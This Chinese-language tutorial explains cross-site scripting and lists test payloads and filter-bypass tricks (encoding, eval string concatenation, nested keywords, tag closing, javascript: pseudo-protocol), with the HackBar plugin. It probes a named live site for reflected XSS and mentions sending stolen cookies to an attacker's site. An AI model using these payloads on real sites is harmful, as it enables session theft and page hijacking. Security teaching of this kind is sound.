XSS#
-
什么是 xss?
跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS。恶意攻击者往 WEB 页面里插入恶意 HTML 代码,当用户浏览该页之时,嵌入其中 Web 里面的 HTML 代码会被执行,从而达到恶意攻击用户的特殊目的。 -
xss 的危害
通过 document.cookie 盗取 cookie 中的信息
使用 js 或 css 破坏页面正常的结构与样式
流量劫持(通过访问某段具有 window.location.href 定位到其他页面)等
xss 攻击#
反射型:
- 攻击者提前构造一个恶意链接,来诱使客户点击,比如这样的一段链接:url+
?params=<script>alert("xss攻击")</script>
。 - 发生在与用户交互的地方,比如输入框
- 尝试,网址:http://dm.unrun.top/classkey.php?page=1&classkey=
classkey 参数接受一个参数
搜索框输入 <script>alert("xss攻击")</script>
提交
js 代码被执行,classkey.php 没有对用户输入作处理,直接输出,这就是 xss 反射型漏洞,实施攻击,比如盗取用户的 cookie
js 获取 cookie 代码:alert (document. cookie
然后输入<script>alert (document. cookie)</script>
弹框显示,盗取 cookie,dm.unrun.top
网站我没有设置 cookie 所以是空的
这样甚至可以写 js 向 HK 提前准备好的网站发送信息
XSS 常用的测试语句#
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>
当字符被过滤时#
过滤空格用 / 代替空格
<img/src="x"/onerror=alert("xss");>
使用中文句号代替英文逗号
输入中文句号浏览器会自动转化成英文的逗号
<img src="x" onerror="document.location=`http://www。baidu。com`">
使用 url 编码URL 解码编码
<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
用 // 可以代替 http://
<img src="x" onerror=document.location=`//www.baidu.com`>
字符拼接利用 eval
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
堆叠绕过#
script 被过滤时
服务器替换这些关键词为空
str_replace("script","");
str_replace("on","");
str_replace("src","");
str_replace("data","");
str_replace("href","");
采用:scr {% hint'script' 'script 被替换为空 ' %} ipt,o {% hint 'on' 'on 被替换为空 ' %} n,s {% hint'src' 'src 被替换为空 ' %} rc 等方法
标签闭合绕过#
浏览器查找与前一个未闭合标签最近的匹配标签,有两个时后一个不会被解析
<input type="text" value='<script>alert("XSS")</script>'>
前面加上'>
也就是'><script>alert("XSS")</script>
<input type="text" value=''><script>alert("XSS")</script>'>
伪协议绕过#
不能用事件触发时用伪协议,javascript /data : 后面的代码
<object data=javascript:alert(1)>
<a href="javascript:alert(`xss`);">xss</a>
这样还有这样
(alert)(1); alert(1); alert`1`;
url 解析过程#
浏览器对编码解析的顺序:
URL 解析 ->HTML 解析 ->CSS 解析 ->JS 解析
- 浏览器接收到一个 HTML 文档时,会触发 HTML 解析器对 HTML 文档进行词法解析,这一过程完成 HTML 解码 并创建 DOM 树;
- 接下来 JavaScript 解析器会介入对内联脚本进行解析,这一过程完成 JS 的解码工作;
- 如果浏览器遇到需要 URL 的上下文环境,这时 URL 解析器也会介入完成 URL 的解码工作。
URL 解析器的解码顺序会根据 URL 所在位置不同,导致在 JavaScript 解析器之前或之后解析
XSS 编码问题#
- HTML 字符实体:
在呈现 HTML 页面时,针对某些特殊字符如 “<” 或”>” 直接使用,浏览器会误以为它们标签的开始或结束,若想正确的在 HTML 页面呈现特殊字符就需要用到其对应的字符实体。HTML 字符实体以 & 开头 + 预先定义的实体名称,以分号结束,如 “<” 的实体名称为 < 或以 & 开头 +# 符号以及字符的十进制数字(或者 十六 进制,都能解析),如”<” 的实体编号为 <。 - JavaScript 编码:最常用的如 “\uXXXX” 这种写法为 Unicode 转义序列,表示一个字符,其中 xxxx 表示一个 16 进制数字,如”<” Unicode 编码为 “\u003c”。
- URL 编码:% 加字符的 ASCII 编码对于的 2 位 16 进制数字,如”/” 对应的 URL 编码为 %2f。
常见的转义符#
为了 xss
字符 | 转义后的字符 |
---|---|
& | & ; |
< | < ; |
> | > ; |
" | " ; |
' | ' ; |
/ | / ; |
工具 HackBar#
HackBar 下载:https://github.com/HCTYMFF/hackbar2.1.3
HackBar 是一个浏览器上的一个插件,包含一些常用的工具,比如 SQL injection,XSS, 加密等
截图
位置:F12打开 tab 栏最右侧
方便对 url 编码转换
右侧三个按钮:加载网址 -- 切分网址 -- 执行
post 提交,众所周知 get 参数可以写在地址栏,post 就需要借助工具了